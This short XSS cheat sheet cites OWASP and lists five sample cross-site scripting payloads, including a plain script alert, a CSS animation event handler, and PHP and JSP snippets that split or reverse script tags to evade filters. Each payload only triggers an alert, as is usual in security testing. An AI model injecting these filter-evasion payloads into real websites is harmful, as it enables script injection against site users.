XSS Cheat Sheet

Sources of Info

OWASP XSS Cheatsheet

Some example of XSS attacks

<script>alert("no protection at all")</script>

<style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div>

<? echo('<SCR'); echo('IPT>'); echo('alert("XSS")'); echo('</SCR'); echo('IPT>'); ?>

<? echo(strrev('>TPIRCS<')); echo('alert("XSS")'); echo(strrev('>TPIRCS/<')); ?>

<%= "<script>alert(\"jsp\")</script>" %>